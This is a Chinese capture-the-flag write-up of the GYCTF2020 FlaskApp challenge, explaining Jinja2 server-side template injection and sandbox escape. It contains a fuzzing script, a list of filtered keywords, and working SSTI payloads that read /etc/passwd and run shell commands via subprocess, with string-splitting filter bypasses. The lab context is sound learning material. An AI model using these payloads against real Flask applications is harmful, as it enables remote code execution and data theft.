当前位置: 首页 > news >正文

[GYCTF2020]FlaskApp

根据题目,这道题应该是flask。在加密的地方输入{{7*7}}正常回显其base64编码,然后将编码放到解密的地方出现回显nonono,说明过滤了什么。看来突破点在解密的地方。

输入 {{}} 的编码,出现报错,然后还能看到源码:

有waf过滤,利用脚本测试一下: 

import base64import requestsurl1 = 'http://2d0cf127-50a4-461e-98d7-41c83461a237.node5.buuoj.cn/decode'with open('fuzz.txt', "r") as file:headers = {"Cookie": "session=eyJjc3JmX3Rva2VuIjoiYTkxNGM4YWI3NmFkNmE1OTFhNjkxNzRkZWYzNDZkZDM5NDcyNmQyZCJ9.aI8Tag.edj4l963JVxa4BtqoCwKDETV9Bs"}for line in file:text = base64.b64encode(line.encode('utf-8'))data = {"csrf_token": "ImE5MTRjOGFiNzZhZDZhNTkxYTY5MTc0ZGVmMzQ2ZGQzOTQ3MjZkMmQi.aI8Tag.bgJlC6OvbEgS7UDSiMqhwe4kMv0","text": text,"submit": "%E6%8F%90%E4%BA%A4"}r = requests.post(url1, data=data, headers=headers)# print(r.text)if "no no no !!" in r.text and "jinja2.exceptions.TemplateSyntaxError" not in r.text:print(f"{line}")

import

eval

os

subprocess

commands

popen

popen2

popen3

popen4

system

request

*

AI给的字典,所以可能不全面。 

jinja2一共三种语法:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
jinja2的Python模板解释器在构建的时候考虑到了安全问题,删除了大部分敏感函数,相当于构建了一个沙箱环境。
但是一些内置函数和属性还是依然可以使用,而Flask的SSTI就是利用这些内置函数和属性相互组建来达到调用函数的目的,
从而绕过沙箱。

__class__         返回调用的参数类型
__bases__         返回基类列表
__mro__           此属性是在方法解析期间寻找基类时的参考类元组
__subclasses__()  返回子类的列表
__globals__       以字典的形式返回函数所在的全局命名空间所定义的全局变量与func_globals等价
__builtins__      内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载, 这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等

尝试使用

执行语句{{''.__class__.__mro__[1].__subclasses__()}}出现502 Bad Gateway,如果不是被过滤的话那就可能是返回的数据太多。尝试一下{{''.__class__.__mro__[1].__subclasses__()[40]}},返回<class 'wrapper_descriptor'>说明没有被过滤。

那我们需要减少一次性返回的数量,可以使用切片。

{{''.__class__.__mro__[1].__subclasses__()[0:200]}}

{{''.__class__.__mro__[1].__subclasses__()[200:400]}}

{{''.__class__.__mro__[1].__subclasses__()[400:]}}

可以通过循环获取名称进一步减少输出内容

{% for cls in ''.__class__.__mro__[1].__subclasses__()[0:500] %} {{ cls.__name__ }} {% endfor %}

{% for cls in ''.__class__.__mro__[1].__subclasses__()[500:] %} {{ cls.__name__ }} {% endfor %}

可以找到有WarningMessage。

特殊变量 __builtins__:全局命名空间中通常会包含 __builtins__ 键,其值指向内置命名空间(或内置模块 builtins),使得模块内可以直接访问内置内容(本质是通过 __builtins__ 间接引用)。

内置命名空间是 Python 解释器自带的 “基础库”,包含所有内置功能,全局有效,随解释器启动而存在。

全局命名空间是单个模块的 “局部仓库”,包含模块内定义的内容,仅在模块内有效,随模块导入而存在。

在模板注入场景中,沙箱通常会限制直接访问危险函数(如 open,system),我们可以通过__builtins__.open()来逃逸。但是大部分时候__builtins__也被限制,我们可以通过x.__init__.__globals__['__builtins__']来逃逸,原理:

1. x:精心选择的 “跳板类”

x 是从 object.__subclasses__() 中筛选出的某个类(通常是沙箱未严格过滤的类,如 WarningMessageException 等系统内置类)。这类类的特点是:

  • 在沙箱环境中默认加载(未被删除);
  • 其构造方法 __init__ 的全局命名空间未被沙箱清理,仍保留 __builtins__ 引用。

例如,Python 中的警告处理类 WarningMessage 或异常类 Exception,它们的实现中通常依赖内置函数,因此其全局命名空间会保留 __builtins__。直接使用未定义的变量名也是可以的。

2. x.__init__:类的构造方法

__init__ 是类的初始化方法(构造函数),属于函数对象。函数对象在定义时会记录其所在的全局命名空间(即定义该函数时的上下文变量环境),并通过 __globals__ 属性暴露。

3. __init__.__globals__:构造方法的全局命名空间

__globals__ 是函数对象的关键属性,返回一个字典,包含该函数定义时可访问的所有全局变量。对于大多数系统内置类(如 WarningMessage),其 __init__ 方法在定义时会引用 __builtins__ 中的函数(如 strlist 等),因此其 __globals__ 字典中必然包含 __builtins__ 键。

4. ['__builtins__']:从全局命名空间中提取内置函数

通过 __globals__['__builtins__'] 即可从跳板类的全局命名空间中获取 __builtins__,此时得到的 __builtins__ 是完整的内置命名空间,包含沙箱试图屏蔽的危险函数(如 open__import__)。

 {% for x in {}.__class__.__base__.__subclasses__() %} {% if "warning" in x.__name__ %} {{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }} {%endif%} {%endfor%}

{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}

可以成功读取。于是

{{ x.__init__.__globals__['__builtins__']['__imp''ort__']('o''s').__dict__['sys''tem']('ls /') }}

但是发现只会回显命令返回的Code 0,并不会回显输出,于是

{{ x.__init__.__globals__['__builtins__']['__imp''ort__']('subpro''cess').check_output('ls /', shell=True, text=True) }}

得到结果 : app bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys this_is_the_flag.txt tmp usr var

于是

{{ x.__init__.__globals__['__builtins__']['__imp''ort__']('subpro''cess').check_output('cat /this_is_the_flag.txt', shell=True, text=True) }}

发现被过滤了,应该是flag:

{{ x.__init__.__globals__['__builtins__']['__imp''ort__']('subpro''cess').check_output('cat /this_is_the_fl''ag.txt', shell=True, text=True) }}

拿到flag啦!

看了一下答案,这道题是想让我们通过ssti注入获得PIN码,然后获取交互Shell。不过并不用这么麻烦。

总结一下:通过这个题目我对沙箱逃逸有了粗略的理解,但是具体的解题思路并不明确,特别是感觉构造playload有很多方法,比如利用子类呀、全局变量呀、内置函数呀等等,还有如何绕过过滤,以及注入语法。有必要总结一下所有内容,形成知识体系。

http://www.lryc.cn/news/610136.html

相关文章:

  • 【编程实践】点云曲率计算与可视化
  • 八股——Kafka相关
  • 【Pytorch✨】LSTM04 l理解长期记忆和短期记忆
  • 第12届蓝桥杯Scratch_选拔赛_初级组_真题2020年8月23日
  • 神经网络---非线性激活
  • C++进阶-封装红黑树模拟实现map和set(难度较高)
  • 李沐写作笔记
  • 嵌入式 C 语言入门:函数指针基础笔记 —— 从计算器优化到指针本质
  • SurferCloud vs LightNode 海外云服务商详细对比
  • 【无标题】标准 I/O 中的一些函数,按功能分类说明其用法和特点
  • [特殊字符] 50 天 50 个项目 — 完结篇
  • 【Docker安装】Ubuntu 24.04.2 LTS系统下安装Docker环境——指定APT源安装方式
  • 基于MobileNet卷积神经网络和Xception神经网络算法的人脸表情识别系统的设计与实现
  • C语言的控制语句
  • 每日一leetcode:移动零
  • 【Java】HashMap线程安全吗?
  • allegro建库--1
  • 【云馨AI-大模型】2025年8月第一周AI浪潮席卷全球:创新与政策双轮驱动
  • MLS平滑滤波
  • 洛谷 P3373 【模板】线段树 2- 普及+/提高
  • 《Python 实用项目与工具制作指南》· 3.1 实战·开发题目数据生成器
  • 思科 UCS Fabric Interconnect 和 UCS Manager 简介
  • 比起登天,孙宇晨更需要安稳着陆
  • C语言编程中常用的预定义宏
  • 浅谈 Python 中的 next() 函数 —— 迭代器的驱动引擎
  • 【深度学习新浪潮】近三年城市级数字孪生的研究进展一览
  • push/pop字节对齐使用场景
  • Next Terminal 实战:内网无密码安全登录
  • cocos2 场景跳转传参
  • 佰力博检测与您探讨介温谱和介电谱的区别?